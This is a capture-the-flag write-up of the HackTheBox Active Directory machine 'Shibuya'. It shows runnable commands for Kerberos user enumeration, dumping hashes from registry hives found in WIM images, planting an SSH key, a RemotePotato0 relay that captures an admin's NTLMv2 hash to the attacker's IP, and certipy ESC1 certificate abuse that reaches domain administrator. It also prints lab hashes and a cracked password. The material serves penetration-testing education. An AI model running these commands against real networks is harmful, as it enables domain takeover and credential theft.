HackTheBox - Shibuya
Machine Info
- Platform: HackTheBox
- OS: Windows
- IP: 10.129.250.169
- Difficulty: Hard
- Domain: SHIBUYA.VL
Summary
Shibuya is an Active Directory machine that involves extracting credentials from WIM files, performing cross-session relay attacks, and exploiting certificate templates via ESC1 to achieve domain administrator privileges.
Initial Enumeration
Nmap Scan
An initial nmap scan reveals 18 open TCP ports:
nmap -vv -p 22,53,88,135,139,445,464,593,3268,3269,3389,9389 -sCV 10.129.250.169
...[snip]...
Nmap scan report for 10.129.250.169
Host is up, received echo-reply ttl 127 (0.091s latency).
Scanned at 2025-05-11 21:47:43 UTC for 190s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 127 OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp open domain? syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-05-11 22:02:32Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: shibuya.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=AWSJPDC0522.shibuya.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:AWSJPDC0522.shibuya.vl
| Issuer: commonName=shibuya-AWSJPDC0522-CA/domainComponent=shibuya
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha512WithRSAEncryption
| Not valid before: 2025-02-15T07:26:20
| Not valid after: 2026-02-15T07:26:20
| MD5: 8b7d:cbab:0d10:bf99:f94f:4ea1:0872:618b
| SHA-1: 945d:150a:de26:1ee1:42f7:7cfa:5f9d:1205:e5a4:138d
| -----BEGIN CERTIFICATE-----
| MIIHUjCCBTqgAwIBAgITIwAAAAIbTKknK3CMGwAAAAAAAjANBgkqhkiG9w0BAQ0F
...[snip]...
| KgwRRAR/g8UMiN2+k3yROGgy0vFhmTwkhF43wDsH8PrYWdTs8bzp0FRezCn5wOWf
| gUfBEYm3
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: shibuya.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=AWSJPDC0522.shibuya.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:AWSJPDC0522.shibuya.vl
| Issuer: commonName=shibuya-AWSJPDC0522-CA/domainComponent=shibuya
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha512WithRSAEncryption
| Not valid before: 2025-02-15T07:26:20
| Not valid after: 2026-02-15T07:26:20
| MD5: 8b7d:cbab:0d10:bf99:f94f:4ea1:0872:618b
| SHA-1: 945d:150a:de26:1ee1:42f7:7cfa:5f9d:1205:e5a4:138d
| -----BEGIN CERTIFICATE-----
| MIIHUjCCBTqgAwIBAgITIwAAAAIbTKknK3CMGwAAAAAAAjANBgkqhkiG9w0BAQ0F
...[snip]...
| gUfBEYm3
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: SHIBUYA
| NetBIOS_Domain_Name: SHIBUYA
| NetBIOS_Computer_Name: AWSJPDC0522
| DNS_Domain_Name: shibuya.vl
| DNS_Computer_Name: AWSJPDC0522.shibuya.vl
| DNS_Tree_Name: shibuya.vl
| Product_Version: 10.0.20348
|_ System_Time: 2025-05-11T22:04:52+00:00
|_ssl-date: 2025-05-11T22:05:32+00:00; +14m41s from scanner time.
| ssl-cert: Subject: commonName=AWSJPDC0522.shibuya.vl
| Issuer: commonName=AWSJPDC0522.shibuya.vl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-02-18T08:24:25
| Not valid after: 2025-08-20T08:24:25
| MD5: 4246:05f7:afb9:7eb3:2348:d2f0:9fc2:79b3
| SHA-1: 26ad:cec9:1e96:7061:a186:9867:92cb:7bcf:220e:40e6
| -----BEGIN CERTIFICATE-----
| MIIC8DCCAdigAwIBAgIQHupD92/tYrRIVm9eKsHZyTANBgkqhkiG9w0BAQsFADAh
...[snip]...
| vP4hxdG9n8cZDtncd5mY/oYPtvNS/3gVUg8bt3hJ/l+ehxZP
|_-----END CERTIFICATE-----
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
Service Info: Host: AWSJPDC0522; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-05-11T22:04:57
|_ start_date: N/A
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 65218/tcp): CLEAN (Timeout)
| Check 2 (port 54325/tcp): CLEAN (Timeout)
| Check 3 (port 22528/udp): CLEAN (Timeout)
| Check 4 (port 11487/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 14m40s, deviation: 0s, median: 14m40s
...[snip]...
Nmap done: 1 IP address (1 host up) scanned in 189.70 seconds
Many of these (53, 88, 464, 593, 3268, 3269) are typical ports for Windows domain controllers. Ports 135, 139, and 445 are standard for Windows networking, while 3389 is used for remote desktop. SSH on port 22 is somewhat unusual for Windows, but not unheard of.
It’s also notable that ports 389 (LDAP) and 636 (LDAPS) are not open, which could restrict certain enumeration techniques.
The domain name shibuya.vl appears in both the LDAPS certificates and RDP banners, along with the hostname AWSJPDC0522.shibuya.vl. (See attachments above for referenced details.)
Even though SMB services (445) are available, attempting to list shares without valid credentials will fail. We’ll need to find valid credentials before we can enumerate the SMB shares.
Kerberos Brute-Forcing Usernames
I used kerbrute to perform user enumeration against the Kerberos service. This technique leverages the AS-REP (Authentication Server Response) behavior in Kerberos to determine if usernames exist without requiring passwords:
./kerbrute userenum -d shibuya.vl --dc shibuya.vl /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
The Kerbrute output revealed two valid usernames: red and purple.
Testing Default Credentials
Note: The
redandpurpleaccounts are machine accounts (service accounts used by computers), which means they cannot be used for NTLM authentication but can only be authenticated with Kerberos. Machine accounts typically have complex, automatically generated passwords and are not intended for interactive user logins.
SMB Share Access
Service Account Discovery
I found the svc_autojoin account with a password stored in the description field. This account has read access to the images$ share.
WIM File Extraction
The share contained several Windows Image (WIM) files, which are commonly used for deployment and system imaging. WIM files can contain complete file systems, including registry hives with potentially sensitive information:
smbclient //shibuya.vl/'images$' -U svc_autojoin
Password for [MYGROUP\svc_autojoin]:
Try "help" to get a list of possible commands.
smb: \> prompt off
smb: \> mget *
getting file \AWSJPWK0222-01.wim of size 8264070 as AWSJPWK0222-01.wim (4424.6 KiloBytes/sec)
getting file \AWSJPWK0222-02.wim of size 50660968 as AWSJPWK0222-02.wim (9556.4 KiloBytes/sec)
getting file \AWSJPWK0222-03.wim of size 32065850 as AWSJPWK0222-03.wim (3447.6 KiloBytes/sec)
getting file \vss-meta.cab of size 365686 as vss-meta.cab (986.5 KiloBytes/sec)
Registry Hive Analysis
I used the 7z utility to list and examine the contents of each WIM file:
7z l AWSJPWK0222-02.wim | grep SAM
2025-02-16 20:47:38 ....A 0 0 RegBack/SAM
2025-02-16 12:16:08 ....A 65536 14320 SAM
2021-05-08 09:06:51 ..HSA 65536 9960 SAM.LOG1
2021-05-08 09:06:51 ..HSA 49152 9502 SAM.LOG2
7z l AWSJPWK0222-02.wim | grep SYSTEM
2021-05-08 09:06:51 ..HSA 0 0 SYSTEM.LOG1
2021-05-08 09:06:51 ..HSA 0 0 SYSTEM.LOG2
2025-02-16 20:47:38 ....A 0 0 RegBack/SYSTEM
2025-02-16 12:16:08 ....A 17039360 3632062 SYSTEM
7z l AWSJPWK0222-02.wim | grep SECURITY
2021-05-08 09:06:51 ..HSA 0 0 SECURITY.LOG2
2025-02-16 20:47:38 ....A 0 0 RegBack/SECURITY
2025-02-16 12:16:08 ....A 32768 7479 SECURITY
2021-05-08 09:06:51 ..HSA 68608 6717 SECURITY.LOG1
This discovery was significant - I found all three critical registry hives (SAM, SYSTEM, and SECURITY) in the second WIM file. These registry hives contain the local user account database, system configuration, and security policy information. When extracted together, they can be used to recover password hashes.
Secrets Extraction
Using secretsdump.py with the extracted registry hives:
m0hs1ne@chaos /tmp$ secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x2e971736685fc53bfd5106d471e2f00f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8dcb5ed323d1d09b9653452027e8c013:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:9dc1b36c1e31da7926d77ba67c654ae6:::
operator:1000:aad3b435b51404eeaad3b435b51404ee:5d8c3d1a20bd63f60f469f6763ca0d50:::
[*] Dumping cached domain logon information (domain/username:hash)
SHIBUYA.VL/Simon.Watson:$DCC2$10240#Simon.Watson#04b20c71b23baf7a3025f40b3409e325: (2025-02-16 11:17:56)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:2f006b004e0045004c0045003f0051005800290040004400580060005300520079002600610027002f005c002e002e0053006d0037002200540079005e0044003e004e0056005f00610063003d00270051002e00780075005b0075005c00410056006e004200230066004a0029006f007a002a005700260031005900450064003400240035004b0079004d006f004f002100750035005e0043004e002500430050006e003a00570068005e004e002a0076002a0043005a006c003d00640049002e006d005a002d002d006e0056002000270065007100330062002f00520026006b00690078005b003600670074003900
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:1fe837c138d1089c9a0763239cd3cb42
[*] DPAPI_SYSTEM
dpapi_machinekey:0xb31a4d81f2df440f806871a8b5f53a15de12acc1
dpapi_userkey:0xe14c10978f8ee226cbdbcbee9eac18a28b006d06
[*] NL$KM
0000 92 B9 89 EF 84 2F D6 55 73 67 31 8F E0 02 02 66 ...../.Usg1....f
0010 F9 81 42 68 8C 3B DF 5D 0A E5 BA F2 4A 2C 43 0E ..Bh.;.]....J,C.
0020 1C C5 4F 40 1E F5 98 38 2F A4 17 F3 E9 D9 23 E3 ..O@...8/.....#.
0030 D1 49 FE 06 B3 2C A1 1A CB 88 E4 1D 79 9D AE 97 .I...,......y...
NL$KM:92b989ef842fd6557367318fe0020266f98142688c3bdf5d0ae5baf24a2c430e1cc54f401ef598382fa417f3e9d923e3d149fe06b32ca11acb88e41d799dae97
[*] Cleaning up...
The operator account hash was retrieved. I concluded that the operator account corresponds to Simon.Watson, as he was the only user with a local profile on the system.
Initial Access
SSH Key Deployment
With access to Simon Watson’s home directory via the users share, I deployed my SSH public key:
smb: \simon.watson\> mkdir .ssh
smb: \simon.watson\> put /home/m0hs1ne/.ssh/id_rsa.pub .ssh\authorized_keys
putting file /home/m0hs1ne/.ssh/id_rsa.pub as \simon.watson\.ssh\authorized_keys (3.6 kb/s)
Shell Access
ssh simon.watson@shibuya.vl
Microsoft Windows [Version 10.0.20348.3453]
(c) Microsoft Corporation. All rights reserved.
shibuya\simon.watson@AWSJPDC0522 C:\Users\simon.watson>
User Flag: Retrieved from C:\Users\simon.watson\Desktop\
Privilege Escalation
BloodHound Analysis
After gaining initial access as Simon.Watson, I needed to understand the Active Directory environment to identify potential privilege escalation paths. To do this, I uploaded and executed SharpHound to collect data for BloodHound analysis.
I transferred the zip file to my attacking machine, imported it into BloodHound, and analyzed the Active Directory structure.
The BloodHound analysis exposed critical information about Nigel.Mills, revealing him to be part of the Tier 1 Admins group with RDP privileges. This positioning in the Active Directory hierarchy made him an ideal target for lateral movement in the privilege escalation chain.
This analysis also revealed that nigel.mills has an active session on the machine, making it a target for a cross-session relay attack.
Cross-Session Relay Attack
A cross-session relay attack is an advanced technique that leverages Windows COM (Component Object Model) and DCOM (Distributed COM) architecture to steal credentials from authenticated users. Technically, this attack exploits the OXID Resolver service and NTLM authentication mechanisms through these specific steps:
- COM/DCOM Exploitation: The attack creates a rogue OXID resolver that intercepts COM object activation requests.
- Session Targeting: Using Windows Session ID (-s flag in RemotePotato0), the attack specifically targets sessions of privileged users.
- Authentication Interception: When the COM client in the target’s session authenticates to the rogue COM server, it uses NTLM over TCP/IP (port 135 by default).
- Token Impersonation: The attack captures this authentication attempt and either relays it (SMB, LDAP) or harvests the NTLMv2 hash.
- Protocol Manipulation: RemotePotato0 manipulates the DCE/RPC (Distributed Computing Environment/Remote Procedure Call) protocol to force authentication.
In Windows environments, especially domain controllers, this technique is particularly effective because high-privilege users (like Tier 1 admins) often have active sessions with elevated rights.
First, I identified the active sessions:
PS C:\Users\simon.watson\Documents> .\RunasCs.exe x x "qwinsta *" -l 9
SESSIONNAME USERNAME ID STATE TYPE DEVICE
>services 0 Disc
rdp-tcp#0 nigel.mills 1 Active <-- Target session
console 2 Conn
rdp-tcp 65536 Listen
Since this Windows Server version doesn’t support local RogueOxidResolver, I set up a remote relay:
PS C:\Users\simon.watson\Documents> .\RemotePotato0.exe -m 2 -s 1 -x 10.10.14.120 -p 8888
[*] Detected a Windows Server version not compatible with JuicyPotato. RogueOxidResolver must be run remotely.
[*] Starting the RPC server to capture the credentials hash from the user authentication!!
[*] Spawning COM object in the session: 1
[+] User hash stolen!
NTLMv2 Client : AWSJPDC0522
NTLMv2 Username : SHIBUYA\Nigel.Mills
NTLMv2 Hash : Nigel.Mills::SHIBUYA:ea55067ded2a8015:5daee66a01405ee9c4d30a79e5a1564c:0101000000000000f35e64a56de4db01d5a9530f8802f04b0000000002000e005300480049004200550059004100010016004100570053004a0050004400430030003500320032000400140073006800690062007500790061002e0076006c0003002c004100570053004a0050004400430030003500320032002e0073006800690062007500790061002e0076006c000500140073006800690062007500790061002e0076006c0007000800f35e64a56de4db01060004000600000008003000300000000000000001000000002000000af8a6b8a2cb6506bf117c40ac65591457a64e1c3c09ae38548c80e87423ee610a00100000000000000000000000000000000000090000000000000000000000
The attack successfully captured Nigel.Mills’ NTLMv2 hash, which I could now attempt to crack offline.
Password Cracking
Using hashcat, I successfully cracked the NTLMv2 hash to reveal nigel.mills’s password: Sail2Boat3
Certificate Authority Analysis
After successfully obtaining Nigel.Mills’ credentials through the cross-session relay attack, I wanted to explore what permissions this account might have. Given that he’s a member of the Tier 1 Admins group, I suspected he might have elevated privileges related to domain infrastructure.
An area that’s often overlooked in Active Directory security assessments is the Certificate Services infrastructure. Using BloodHound’s data, I examined Nigel’s permissions related to certificate templates:
The analysis revealed a critical finding: Nigel.Mills, through his membership in the T1_admin group, had enrollment rights against the certificate template SHIBUYAWEB@SHIBUYA.VL. This means he could request certificates based on this template.
To understand if this template was vulnerable to exploitation, I used certipy to analyze the certificate templates in the domain:
certipy find -u 'nigel.mills' -p 'Sail2Boat3' -dc-ip 10.129.250.169
The scan results indicated that the ShibuyaWeb template was vulnerable to ESC1 (Enrollment Service Client) attack. ESC1 is a certificate template misconfiguration where:
- The template allows the Subject Alternative Name (SAN) field to be supplied in the request
- The template allows for client authentication
- A non-privileged user has enrollment rights
This combination allows an attacker to request a certificate for any user in the domain, including administrative users.
ESC1 Certificate Template Abuse
The ESC1 vulnerability allowed me to request a certificate for the domain administrator account. The attack works by specifying a high-privilege account in the Subject Alternative Name (SAN) field of the certificate request.
I requested a certificate for the _admin account (the actual domain admin) using the ShibuyaWeb template:
certipy req -u nigel.mills -p 'Sail2Boat3' -ca shibuya-AWSJPDC0522-CA -template ShibuyaWeb -upn _admin@shibuya.vl -dc-ip 10.129.250.169 -key-size 4096 -sid 'S-1-5-21-87560095-894484815-3652015022-500'
Finally, I used the certificate to authenticate as the domain administrator and retrieve the NTLM hash:
proxychains certipy auth -pfx _admin.pfx -domain shibuya.vl -username _admin -dc-ip 10.129.250.169
Technical Deep-Dive: ESC1 attacks work because the certificate request process doesn’t properly validate whether the requesting user should be able to specify alternative identity in the SAN field. When a certificate is issued with a SAN containing another user’s UPN (User Principal Name), it effectively allows the holder to authenticate as that user. This is because Kerberos PKINIT authentication in Active Directory associates certificates with users based on the UPN in the SAN field.
Root Flag: With domain administrator access, I was able to connect to the users share with administrative privileges and retrieve the root flag from the Administrator’s desktop.